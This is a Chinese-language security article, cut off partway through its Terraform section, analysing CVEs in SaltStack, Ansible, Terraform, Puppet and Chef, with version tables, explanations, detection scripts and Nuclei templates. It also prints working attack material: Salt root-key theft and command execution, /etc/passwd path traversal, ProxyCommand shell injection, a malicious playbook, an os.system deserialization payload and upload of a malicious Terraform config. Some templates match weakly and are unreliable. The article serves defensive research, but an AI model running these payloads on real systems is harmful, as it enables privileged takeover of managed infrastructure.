ARTICLE / 安全

基础设施即代码与自动化运维平台高危攻击链专题:Terraform / Ansible / SaltStack / Puppet / Chef 漏洞全解析

安全声明:本文所有漏洞分析、PoC 代码和检测模板仅供合法授权安全测试与防御研究使用。未经授权对他人系统实施攻击属于违法行为。读者应在获得明确书面授权后方可开展渗透测试活动。文中涉及的技术细节旨在帮助安全团队理解攻击原理并加强防御。


0x00 专题概述

IaC 平台与自动化运维——“上帝视角"的基础设施管理者

基础设施即代码(Infrastructure as Code, IaC)与自动化运维平台是现代企业 IT 架构的核心基石。SaltStack 以 ZeroMQ 为通信基座实现毫秒级远程执行;Ansible 通过 SSH 无 Agent 架构完成跨平台编排;Terraform 以声明式 DSL 统一管理多云资源;Puppet 和 Chef 则以 Master-Agent 模型持续维护服务器的期望状态。它们共同承担着企业基础设施的配置管理、状态维护和批量变更任务,运维着数以万计的服务器节点。

讽刺的是,这些掌握"上帝视角"的平台,自身却成为攻击者的终极目标。它们具备以下令攻击者垂涎的高价值特征:

  • 特权执行模型:Master/Server 以 root 或 SYSTEM 权限运行,所有下发的命令都以最高权限在 Agent/Minion/Node 上执行。攻破 Master 等同于全域接管。
  • 密钥与凭证富集:这些平台持有云平台 API Key、SSH 私钥、数据库密码等所有敏感凭证,是"皇冠上的宝石”。Salt Master 的 root key 可直接以本地 root 身份调用管理命令;Chef Server 索引了所有受管节点的属性数据,包括密码。
  • 广播式攻击传播:一个漏洞即可让攻击者向所有受管 Agent 广播恶意指令,实现"一击全网"的攻击效果。CVE-2020-11651 的 _send_pub() 方法允许攻击者向所有 Minion 发送任意 root 命令。
  • State/Playbook 信任链投毒:IaC 平台天然信任其 State 文件和 Playbook,攻击者一旦篡改这些"基础设施蓝图",即可在每次收敛/Apply 时持续投毒。
  • 供应链连锁效应:Terraform Provider、Ansible Galaxy Collection、Chef Supermarket Cookbook——任何一个第三方组件被投毒,都会通过 IaC 渠道传播到成百上千个组织。

2020 年 SaltStack 漏洞(CVE-2020-11651/11652)的爆发就是一个典型案例:F-Secure Labs 发现漏洞时互联网上暴露了超过 6,000 个 Salt Master 实例,漏洞公开后仅 48 小时,LineageOS、Ghost 博客平台等多个知名项目即遭入侵,攻击者利用漏洞部署加密货币挖矿程序和后门。CISA 已将 CVE-2020-11651 列入 Known Exploited Vulnerabilities (KEV) 目录,要求联邦机构限期修复。

本专题深入剖析 SaltStack、Ansible、HashiCorp Terraform、Puppet Enterprise 和 Chef Infra Server 五大平台共 14 个高危漏洞,每个漏洞均提供完整原理分析、受影响版本表格、HTTP PoC、Python 自动化检测脚本和 Nuclei YAML 检测模板。

覆盖漏洞一览表

CVE产品CVSS漏洞类型未授权在野利用
CVE-2020-11651SaltStack Salt10.0认证绕过→RCE✅ CISA KEV
CVE-2020-11652SaltStack Salt6.5目录遍历→任意文件读取✅ CISA KEV
CVE-2021-3197SaltStack Salt9.8SSH ProxyCommand 命令注入
CVE-2021-20253Ansible Tower6.7Job Isolation 逃逸→提权⚠️ 需低权限
CVE-2020-10697Ansible Tower6.5Memcached 缓存投毒/DoS⚠️
CVE-2016-9587Ansible Engine8.1客户端数据→RCE⚠️ 需客户端控制
CVE-2021-40862Terraform Enterprise8.8敏感 URL 泄露→提权⚠️ 需低权限
CVE-2022-25374Terraform Enterprise7.5日志敏感数据泄露⚠️
CVE-2023-4782Terraform CLI8.8init 任意文件写入⚠️ 需恶意配置
CVE-2023-2530Puppet Enterprise9.9Orchestrator RCE⚠️ 需低权限
CVE-2016-5714Puppet Agent7.2PXP 命令白名单绕过⚠️ 需网络访问
CVE-2017-7174Chef Manage9.8用户创建→RCE
CVE-2023-40050Chef Automate8.8InSpec Profile RCE⚠️ 需低权限
CVE-2023-28864Chef Infra Server5.5备份路径信息泄露⚠️ 需本地访问⚠️

0x01 SaltStack / Salt 高危漏洞

SaltStack Salt 是一个基于 Python 的开源远程执行框架,广泛应用于数据中心和云环境的配置管理、自动化和事件驱动编排。其 Master-Minion 架构通过 ZeroMQ 协议通信:Minion 通过端口 4505 订阅任务,通过端口 4506 回复执行结果,Salt API 服务通常运行在端口 8000。

2020 年 4 月底,F-Secure Labs 公开了 SaltStack 的两个严重漏洞,被称为"史诗级漏洞"——仅需一个未认证请求即可获得 Master 和所有 Minion 的 root 权限。漏洞公开后迅速被在野利用,多个知名互联网服务遭到入侵。

0x01.1 CVE-2020-11651 — Salt API 认证绕过 RCE

漏洞背景

CVE-2020-11651 是 SaltStack 自 2013 年以来最严重的安全漏洞,CVSS 评分 10.0(满分),由 F-Secure Labs 于 2020 年 4 月 30 日公开披露。该漏洞存在于 salt-master 进程的 ClearFuncs 类中,该类负责处理来自 Minion 和客户端的未认证请求。由于 ClearFuncs 类未正确校验可调用的方法,导致两个关键方法被意外暴露:

  1. _prep_auth_info():返回 Master 的 root key,这是用于本地 root 身份认证的密钥。攻击者获取此 key 后即可以 root 身份远程调用 Master 上的任意管理命令。
  2. _send_pub():允许将消息直接发布到 Master 的发布服务器。由于发布给 Minion 的消息不需要认证,攻击者可构造任意命令让所有 Minion 以 root 权限执行。

2020 年 5 月 2 日,LineageOS 项目确认遭此漏洞入侵;5 月 3 日,Ghost 博客平台也被证实遭受攻击。F-Secure 在漏洞发现时扫描到互联网上暴露了超过 6,000 个 Salt Master 实例。CISA 于 2021 年 11 月将此 CVE 列入 KEV 目录。

受影响版本

产品受影响版本修复版本
SaltStack Salt< 2019.2.42019.2.4
SaltStack Salt< 3000.23000.2
SaltStack Salt所有 2017.x / 2018.x 版本无官方修复(EOL)
VMware vRealize Operations依赖 Salt 的版本参见 VMSA-2020-0009

漏洞原理分析

Salt Master 的通信架构基于 ZeroMQ 消息队列。Master 在端口 4506 上运行一个 REQ/REP 服务,接受来自 Minion 的请求并返回响应。ClearFuncs 类是处理这些未认证明文(clear text)消息的核心组件。

正常情况下,ClearFuncs 类应仅允许 Minion 执行 pingpublish 等基本操作,而将管理类命令(如 runnerwheel)限制在认证后的 AESFuncs 类中。然而,Salt 的开发者在实现 ClearFuncs 时采用了 Python 的反射机制——通过 getattr() 动态获取方法引用,而不是维护一个显式的白名单。这意味着只要 ClearFuncs 类中存在某个方法,攻击者就可以通过发送包含该方法名的 ZeroMQ 消息来调用它,即使该方法本应是内部使用的。

_prep_auth_info() 的利用链:此方法设计用于 Master 内部进程间通信,返回一个包含认证信息的元组,其中第三个元素 rets[2]['root'] 就是 Master 的 root key。攻击者通过 ZeroMQ 端口 4506 发送 {'cmd': '_prep_auth_info'} 即可获取此 key,无需任何认证凭据。获取 root key 后,攻击者可以构造 wheel 命令(如 salt.cmd)在 Master 上执行任意代码:

{
  "key": "<stolen_root_key>",
  "cmd": "runner",
  "fun": "salt.cmd",
  "arg": ["cmd.exec_code", "bash", "id"]
}

_send_pub() 的利用链:此方法允许将消息发布到 Master 的 publish 服务。Minion 订阅这些消息并执行其中包含的命令。由于 ClearFuncs 未校验调用者身份,攻击者可以构造一条发布消息,让所有 Minion 执行任意命令。关键在于发布消息中的 expr_form 字段可以设置为 '*'(匹配所有 Minion),实现广播式 root 命令执行。

在真实攻击中,攻击者通常将两个方法组合使用:先通过 _prep_auth_info() 获取 root key,再通过 root key 调用 runner 在 Master 本身执行命令,或者通过 _send_pub() 向所有 Minion 广播恶意 payload。这两种攻击路径都不需要任何认证,仅需网络可达。

HTTP PoC

# 获取 Master root key(通过 ZeroMQ 端口 4506)
python3 -c "
import salt.transport.client, json
config = {'transport':'zeromq','pki_dir':'/tmp','id':'attacker',
          'log_level':'quiet','master_ip':'<TARGET_IP>',
          'master_port':'4506','auth_timeout':5,'auth_tries':1,
          'master_uri':'tcp://<TARGET_IP>:4506'}
ch = salt.transport.client.ReqChannel.factory(config, crypt='clear')
resp = ch.send({'cmd':'_prep_auth_info'}, timeout=5)
print('Root Key:', resp[2]['root'])
"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-11651 SaltStack Salt 认证绕过检测脚本"""
import sys
import json

def check(target, port=4506):
    """检测目标是否存在 CVE-2020-11651 漏洞"""
    try:
        import salt.transport.client
    except ImportError:
        print("[-] 需要安装 salt 库: pip3 install salt")
        sys.exit(1)

    config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'cve-checker',
        'log_level': 'quiet',
        'master_ip': target,
        'master_port': str(port),
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': f'tcp://{target}:{port}'
    }

    try:
        channel = salt.transport.client.ReqChannel.factory(config, crypt='clear')
        channel.send({'cmd': 'ping'}, timeout=3)
    except Exception:
        print(f"[-] {target}:{port} 无法连接")
        return False

    try:
        resp = channel.send({'cmd': '_prep_auth_info'}, timeout=5)
        if resp and len(resp) >= 3 and isinstance(resp[2], dict) and 'root' in resp[2]:
            root_key = resp[2]['root']
            print(f"[+] {target}:{port} 存在 CVE-2020-11651 漏洞")
            print(f"[+] 获取到 root key: {root_key[:32]}...")
            return True
        else:
            print(f"[-] {target}:{port} 不存在 CVE-2020-11651 漏洞(_prep_auth_info 未返回 root key)")
            return False
    except Exception as e:
        print(f"[-] {target}:{port} 检测异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target}")

Nuclei YAML 检测模板

id: cve-2020-11651-saltstack-auth-bypass
info:
  name: SaltStack Salt CVE-2020-11651 Authentication Bypass
  author: security-researcher
  severity: critical
  description: SaltStack Salt ClearFuncs class authentication bypass allows remote unauthenticated access
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11651
    - https://labs.f-secure.com/advisories/saltstack-authorization-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-287
  tags: cve,cve2020,saltstack,auth-bypass,rce

tcp:
  - inputs:
      - data: "{{hex_decode('010001000000000000000000')}}"
    host:
      - "{{Hostname}}"
    port: 4506

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "_prep_auth_info"
          - "_send_pub"
        condition: or
        part: body

    extractors:
      - type: regex
        regex:
          - "salt\\s+version"

0x01.2 CVE-2020-11652 — Salt Master 目录遍历

漏洞背景

CVE-2020-11652 与 CVE-2020-11651 同期披露,CVSS 评分 6.5,同样被 CISA 列入 KEV 目录。该漏洞存在于 ClearFuncs 类和 Salt 的 wheel 模块中,允许攻击者通过路径遍历序列读取 Master 文件系统上的任意文件。

受影响版本

产品受影响版本修复版本
SaltStack Salt< 2019.2.42019.2.4
SaltStack Salt< 3000.23000.2

漏洞原理分析

Salt 的 wheel 模块包含一组用于管理 Master 端文件和配置的命令,如 file_roots.readfile_roots.writeconfig.update_config。这些命令设计上只能操作 Salt 的文件根目录(默认为 /srv/salt/)下的文件。

漏洞的根本原因在于 ClearFuncs 类暴露了 get_token() 方法(属于 salt.tokens.localfs 类),该方法接受一个 token 参数作为文件名来读取本地文件系统上的 token 文件。关键问题是 get_token() 未对传入的路径参数进行规范化处理(canonicalize),攻击者可以在路径中注入 .. 序列实现目录遍历。

此外,wheel 模块中的 file_roots.readconfig.update_config 方法也存在同样的路径遍历问题——它们将用户提供的文件名与目标目录拼接时未验证最终路径是否仍然在允许的目录范围内。唯一限制是目标文件必须能被 salt.payload.Serial.loads() 反序列化,这意味着攻击者至少可以读取 YAML 或 JSON 格式的文件,包括 Salt 配置文件中的敏感凭证。

HTTP PoC

# 通过 wheel 模块读取 /etc/passwd(需要 root key)
curl -k -X POST https://<TARGET>:8000/ \
  -H "Content-Type: application/json" \
  -d '{
    "client": "wheel",
    "fun": "file_roots.read",
    "path": "../../../../../../../../etc/passwd",
    "key": "<root_key>",
    "saltenv": "base"
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-11652 SaltStack Salt 目录遍历检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, root_key=None, port=8000):
    """检测目标是否存在 CVE-2020-11652 漏洞"""
    url = f"https://{target}:{port}/"
    traversal_path = "../../../../../../../../etc/passwd"

    if root_key:
        payload = {
            "client": "wheel",
            "fun": "file_roots.read",
            "path": traversal_path,
            "key": root_key,
            "saltenv": "base"
        }
        try:
            resp = requests.post(url, json=payload, verify=False, timeout=10)
            data = resp.json()
            if data.get("return", [{}])[0].get("data", {}).get("return", None):
                content = str(data["return"][0]["data"]["return"])
                if "root:" in content or "/bin/bash" in content:
                    print(f"[+] {target} 存在 CVE-2020-11652 目录遍历漏洞")
                    print(f"[+] 文件内容预览: {content[:100]}...")
                    return True
        except Exception as e:
            print(f"[-] 检测异常: {e}")

    payload_token = {
        "cmd": "get_token",
        "arg": [],
        "token": traversal_path
    }
    try:
        resp = requests.post(url, json=payload_token, verify=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] {target} get_token 方法可能存在路径遍历")
            return True
    except Exception:
        pass

    print(f"[-] {target} 未检测到 CVE-2020-11652 漏洞")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [root_key]")
        sys.exit(1)
    target = sys.argv[1]
    key = sys.argv[2] if len(sys.argv) > 2 else None
    result = check(target, key)
    print(f"[{'+' if result else '-'}] {target}")

Nuclei YAML 检测模板

id: cve-2020-11652-saltstack-path-traversal
info:
  name: SaltStack Salt CVE-2020-11652 Path Traversal
  author: security-researcher
  severity: high
  description: SaltStack Salt ClearFuncs directory traversal allows reading arbitrary files
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11652
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cwe-id: CWE-22
  tags: cve,cve2020,saltstack,path-traversal

http:
  - method: POST
    path:
      - "{{BaseURL}}/"

    body: '{"cmd":"get_token","arg":[],"token":"../../../../../../../../etc/passwd"}'
    headers:
      Content-Type: application/json

    matchers:
      - type: word
        words:
          - "root:"
          - "salt:"
        condition: or
        part: body

0x01.3 CVE-2021-3197 — Salt API ProxyCommand Shell 注入

漏洞背景

CVE-2021-3197 于 2021 年 2 月 25 日披露,CVSS 评分 9.8(Critical),影响 SaltStack Salt 3002.5 之前的所有版本。该漏洞存在于 Salt API 的 SSH 客户端功能中,允许攻击者通过在参数中注入 ProxyCommand 或通过 ssh_options 字段注入任意 SSH 命令,实现未认证的远程代码执行。

受影响版本

产品受影响版本修复版本
SaltStack Salt< 3002.53002.5
SaltStack Salt所有 2015.x ~ 3002.x 版本3002.5

漏洞原理分析

Salt API 提供了通过 SSH 远程执行命令的能力(ssh 客户端)。当用户通过 API 发起 SSH 连接请求时,Salt 会将用户提供的目标、用户名和可选参数传递给底层的 SSH 客户端。问题在于 Salt 未对 ssh_options 参数进行充分过滤,攻击者可以在其中注入 ProxyCommand 选项。ProxyCommand 是 SSH 配置中允许指定自定义代理连接命令的指令,攻击者将其设置为 shell 命令后,SSH 客户端在建立连接时会直接执行该命令,从而实现任意代码执行。

攻击向量可以通过 ssh_options 参数实现,也可以通过某些接受 SSH 参数的模块参数直接注入。由于 Salt API 通常监听在端口 8000 且可能不需要认证(取决于配置),这使得远程未认证利用成为可能。

HTTP PoC

curl -k -X POST https://<TARGET>:8000/ \
  -H "Content-Type: application/json" \
  -d '{
    "client": "ssh",
    "tgt": "127.0.0.1",
    "fun": "cmd.run",
    "arg": ["id"],
    "ssh_options": {"ProxyCommand": "id > /tmp/pwned"}
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-3197 SaltStack Salt ProxyCommand 注入检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, port=8000):
    """检测目标是否存在 CVE-2021-3197 漏洞"""
    url = f"https://{target}:{port}/"

    try:
        resp = requests.get(url, verify=False, timeout=5)
        if resp.status_code not in [200, 404]:
            print(f"[-] {target}:{port} Salt API 未响应")
            return False
    except Exception:
        print(f"[-] {target}:{port} 无法连接")
        return False

    payload = {
        "client": "ssh",
        "tgt": "127.0.0.1",
        "fun": "cmd.run",
        "arg": ["echo cve-2021-3197-test"],
        "ssh_options": {"ProxyCommand": "echo vuln-check-3197"}
    }

    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        data = resp.json()
        ret = data.get("return", [])
        if ret:
            result_str = str(ret)
            if "vuln-check-3197" in result_str or "ProxyCommand" in result_str:
                print(f"[+] {target}:{port} 存在 CVE-2021-3197 漏洞")
                return True
    except Exception as e:
        print(f"[-] 检测异常: {e}")

    print(f"[-] {target}:{port} 未检测到 CVE-2021-3197 漏洞")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target}")

Nuclei YAML 检测模板

id: cve-2021-3197-saltstack-shell-injection
info:
  name: SaltStack Salt CVE-2021-3197 Shell Injection
  author: security-researcher
  severity: critical
  description: Salt API SSH client vulnerable to ProxyCommand shell injection
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3197
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
  tags: cve,cve2021,saltstack,shell-injection,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "salt-api"
          - "CherryPy"
          - "Unauthorized"
        condition: or
        part: body

0x02 Ansible 高危漏洞

Ansible 是 Red Hat 旗下的开源 IT 自动化平台,以"无 Agent"(Agentless)的 SSH 架构著称。Ansible Tower(开源版本为 AWX)提供了 Web UI、REST API 和 RBAC 控制,是企业级 Ansible 自动化的核心调度平台。Ansible Engine 负责执行 Playbook,通过 SSH 连接到受管主机执行任务。

Ansible 的安全风险主要体现在三个方面:Tower/AWX 平台本身的漏洞、Engine 层面的 Playbook 执行安全、以及 Ansible Galaxy 生态系统的供应链风险。

0x02.1 CVE-2021-20253 — Ansible Tower Job Isolation 逃逸

漏洞背景

CVE-2021-20253 于 2021 年 3 月 9 日由 Red Hat 安全团队公开披露,CVSS 评分 6.7(Medium),由 Deloitte Romania 的安全研究员 Matei Mal Badanoiu 发现。该漏洞影响 Ansible Tower 的默认安装配置,允许拥有低权限的 Playbook 作者通过 Job Isolation 机制逃逸,将权限提升到 awx 用户(Tower 运行用户),从而可以访问 Tower 的内部组件和敏感数据。

受影响版本

产品受影响版本修复版本
Ansible Tower 3.6< 3.6.73.6.7
Ansible Tower 3.7< 3.7.53.7.5
Ansible Tower 3.8< 3.8.23.8.2

漏洞原理分析

Ansible Tower 使用 “Job Isolation” 机制来隔离不同组织(Organization)的 Playbook 执行环境。隔离机制通过 Linux Namespace 和 cgroup 实现,理论上每个 Job 只能在自己的隔离环境中执行,无法访问宿主机文件系统。

然而,研究员发现默认安装的隔离配置存在缺陷——Job 的执行环境虽然通过 Namespace 进行了隔离,但某些 IPC(进程间通信)和 D-Bus 通道未被正确限制。攻击者可以编写一个恶意 Playbook,在执行时通过未被隔离的 D-Bus 接口或共享内存区域与宿主机上的 Tower 进程通信,从而跳出隔离环境。

逃逸到隔离环境外后,攻击者获得 awx 用户权限。awx 用户拥有对 PostgreSQL 数据库的读写权限,可以读取所有组织的 Credential(包括 SSH Key、Vault Token 等),也可以通过 awx 用户的身份执行任意 Tower 管理操作。在 Kubernetes/OpenShift 部署环境中,awx Pod 的 Service Account Token 还可能被窃取,导致集群级别的横向移动。

HTTP PoC

# 利用恶意 Playbook 进行 Job Isolation 逃逸的概念验证
# 1. 创建包含以下内容的恶意 playbook
cat << 'EOF' > escape.yml
---
- hosts: localhost
  gather_facts: false
  tasks:
    - name: Escape job isolation via D-Bus
      command: dbus-send --system --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames
      register: dbus_result

    - name: Check access to host filesystem
      stat:
        path: /etc/shadow
      register: shadow_check

    - name: Print results
      debug:
        msg: "D-Bus access: {{ dbus_result.stdout }}, Shadow file exists: {{ shadow_check.stat.exists }}"
EOF

# 2. 通过 Tower API 创建并执行该 Playbook
curl -k -X POST https://<TOWER_URL>/api/v2/job_templates/<ID>/launch/ \
  -H "Authorization: Bearer <low_priv_token>" \
  -H "Content-Type: application/json" \
  -d '{}'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-20253 Ansible Tower Job Isolation 逃逸检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Ansible Tower 是否存在 Job Isolation 逃逸漏洞"""
    api_url = f"https://{target}/api/v2/"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    try:
        resp = requests.get(api_url, headers=headers, verify=False, timeout=10)
        if resp.status_code != 200:
            print(f"[-] {target} API 认证失败或不可达")
            return False
    except Exception as e:
        print(f"[-] {target} 无法连接: {e}")
        return False

    version_url = f"https://{target}/api/v2/settings/system/"
    try:
        resp = requests.get(version_url, headers=headers, verify=False, timeout=10)
        data = resp.json()
        tower_version = data.get("ANSIBLE_VERSION", "unknown")
        print(f"[*] Ansible Tower 版本: {tower_version}")
    except Exception:
        pass

    settings_url = f"https://{target}/api/v2/settings/all/"
    try:
        resp = requests.get(settings_url, headers=headers, verify=False, timeout=10)
        data = resp.json()
        isolated = data.get("ISOLATED_KEYWORD", None)
        isolation_config = data.get("AWX_ISOLATION_SHOW_PATHS", None)
        if isolation_config and "/proc" not in str(isolation_config):
            print(f"[!] {target} 可能存在 Isolation 配置问题")
    except Exception:
        pass

    print(f"[i] {target} 需要通过低权限账户执行恶意 Playbook 进行完整验证")
    print(f"[i] 参考: https://github.com/mbadanoiu/CVE-2021-20253")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

Nuclei YAML 检测模板

id: cve-2021-20253-ansible-tower-isolation-escape
info:
  name: Ansible Tower CVE-2021-20253 Job Isolation Escape
  author: security-researcher
  severity: medium
  description: Ansible Tower default job isolation allows privilege escalation
  reference:
    - https://access.redhat.com/security/cve/CVE-2021-20253
    - https://github.com/mbadanoiu/CVE-2021-20253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 6.7
    cwe-id: CWE-552
  tags: cve,cve2021,ansible,tower,isolation-escape

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v2/ping/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ha"
          - "redis"
          - "version"
        condition: and
        part: body

      - type: status
        status:
          - 200

0x02.2 CVE-2020-10697 — Ansible Tower Memcached 缓存投毒

漏洞背景

CVE-2020-10697 影响在 OpenShift 上运行的 Ansible Tower,CVSS 评分 6.5。Tower 在 OpenShift 部署模式下使用 Memcached 作为配置缓存,通过 TCP 协议访问。攻击者可以通过编写恶意 Playbook 来污染 Memcached 缓存,导致 Tower 性能下降甚至配置数据被篡改。

受影响版本

产品受影响版本修复版本
Ansible Tower (OpenShift)< 3.6.43.6.4
Ansible Tower (OpenShift)< 3.7.23.7.2

漏洞原理分析

Tower 依赖 Memcached 存储配置数据和会话信息。在 OpenShift 部署模式下,Memcached 服务通过 TCP 暴露,且未配置认证或加密。Tower 在拉取配置值时直接从 Memcached 读取,攻击者通过 Playbook 中的网络操作可以向 Memcached 端口发送恶意数据包,修改或覆盖缓存中的配置条目。虽然敏感数据在缓存中经过加密,但配置级别的篡改仍可导致拒绝服务或间接影响 Tower 的调度行为。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-10697 Ansible Tower Memcached 缓存投毒检测"""
import sys
import socket

def check(target, memcached_port=11211):
    """检测目标 Memcached 是否暴露且可未认证访问"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target, memcached_port))
        sock.send(b"version\r\n")
        resp = sock.recv(1024).decode()
        sock.close()

        if "VERSION" in resp:
            print(f"[+] {target}:{memcached_port} Memcached 暴露: {resp.strip()}")
            print(f"[!] 可能存在 CVE-2020-10697 缓存投毒风险")
            return True
        else:
            print(f"[-] {target}:{memcached_port} 无有效响应")
            return False
    except (socket.timeout, ConnectionRefusedError, OSError) as e:
        print(f"[-] {target}:{memcached_port} 不可达: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [memcached_port]")
        sys.exit(1)
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 11211
    result = check(target, port)
    print(f"[{'+' if result else '-'}] {target}")

0x02.3 CVE-2016-9587 — Ansible Engine 客户端数据反序列化 RCE

漏洞背景

CVE-2016-9587 影响 Ansible Engine 2.1.4 之前和 2.2.1 之前的版本,CVSS 评分 8.1。该漏洞允许控制受管客户端的攻击者向 Ansible 控制节点发送恶意数据,实现反序列化 RCE。

受影响版本

产品受影响版本修复版本
Ansible Engine< 2.1.42.1.4
Ansible Engine< 2.2.12.2.1

漏洞原理分析

Ansible 控制节点在收集受管主机的 Facts(系统信息)时,接受客户端返回的 JSON 数据并进行反序列化处理。漏洞在于 Ansible 未对客户端返回的数据进行充分校验,攻击者可以控制受管主机(或通过 MITM 篡改 SSH 通道中的数据),返回特制的 YAML/Python 对象,在控制节点上触发任意代码执行。这是一种典型的"信任边界"漏洞——Ansible 默认信任受管主机返回的数据。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2016-9587 Ansible Engine 反序列化 RCE 概念检测"""
import sys
import json

PAYLOAD = {
    "ansible_facts": {
        "os_family": "RedHat",
        "!unsafe": "__import__('os').system('id > /tmp/cve-2016-9587')"
    },
    "_ansible_no_log": False
}

def check(target=None):
    """打印漏洞信息和概念验证 payload"""
    print("[*] CVE-2016-9587 Ansible Engine 反序列化 RCE")
    print("[*] 影响版本: Ansible Engine < 2.1.4, < 2.2.1")
    print("[*] CVSS 8.1 - 需要控制受管客户端或 MITM")
    print(f"[*] 概念验证 payload:")
    print(json.dumps(PAYLOAD, indent=2))
    print("[*] 检测方法: 在受管主机上配置恶意 facts 并触发 control node 的 gather_facts")
    return False

if __name__ == "__main__":
    check()
    print(f"[-] 此漏洞需要客户端控制,无法远程自动检测")

0x03 HashiCorp Terraform 高危漏洞

HashiCorp Terraform 是全球最广泛使用的基础设施即代码工具,通过声明式 HCL(HashiCorp Configuration Language)定义和管理 AWS、Azure、GCP 等多云资源。Terraform Enterprise/Cloud 提供了团队协作、状态管理和 Policy as Code 等企业功能。

Terraform 的安全风险集中在三个层面:Enterprise/Cloud 平台的 API 和配置漏洞、CLI 工具的文件处理漏洞(State 文件和 Provider 下载)、以及第三方 Provider/Module 的供应链风险。

0x03.1 CVE-2021-40862 — Terraform Enterprise 敏感 URL 泄露与提权

漏洞背景

CVE-2021-40862 于 2021 年 9 月 14 日由 HashiCorp 安全团队通过 HCSEC-2021-25 安全公告披露,CVSS 评分 8.8(High)。该漏洞存在于 Terraform Enterprise 的 Configuration Versions API 中,一个本应仅在首次生成时返回的敏感 URL 被错误地在后续 API 交互中反复暴露,攻击者可以利用此 URL 进行权限提升或未授权修改 Terraform 配置。

受影响版本

产品受影响版本修复版本
Terraform Enterprise≤ v202108-1v202109-1

漏洞原理分析

Terraform Enterprise 使用一个内部 Blob 存储服务来保存配置版本(Configuration Version)数据。每个配置版本在创建时会自动生成一个包含安全密钥的 URL,用于与该内部服务通信。按照设计,这个敏感 URL 只应在首次创建配置版本时返回给调用者(供 Terraform CLI 上传配置),后续 API 查询中不应再包含此 URL。

然而,安全测试发现 Configuration Versions API 的某些端点在后续交互中仍然返回了此敏感 URL。一个仅拥有 Workspace 只读权限的恶意用户可以利用此 URL 直接向 Blob 存储服务上传恶意 Terraform 配置,触发 terraform apply 执行攻击者控制的基础设施变更,实现从只读用户到组织管理员的权限提升。

该 URL 包含时间戳签名,有效期为 25 小时,但攻击者可以在有效期内反复利用。

HTTP PoC

# 获取受影响 Workspace 的 Configuration Versions
curl -k -X GET "https://<TFE_URL>/api/v2/workspaces/<WS_ID>/configuration-versions" \
  -H "Authorization: Bearer <read_only_token>"

# 响应中如果包含 "upload_url" 字段,则存在漏洞
# 使用该 URL 上传恶意配置
curl -k -X PATCH "<upload_url>" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @malicious.tf.tar.gz

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-40862 Terraform Enterprise 敏感 URL 泄露检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token, workspace_id=None):
    """检测目标 Terraform Enterprise 是否存在 CVE-2021-40862"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/vnd.api+json"
    }

    if not workspace_id:
        ws_url = f"https://{target}/api/v2/organizations/"
        try:
            resp = requests.get(ws_url, headers=headers, verify=False, timeout=10)
            data = resp.json()
            workspaces = data.get("data", [])
            if workspaces:
                org_name = workspaces[0].get("relationships", {}).get("organization", {}).get("data", {}).get("id", "")
                print(f"[*] 发现组织: {org_name}")
        except Exception:
            pass

    if workspace_id:
        cv_url = f"https://{target}/api/v2/workspaces/{workspace_id}/configuration-versions"
        try:
            resp = requests.get(cv_url, headers=headers, verify=False, timeout=10)
            data = resp.json()
            for cv in data.get("data", []):
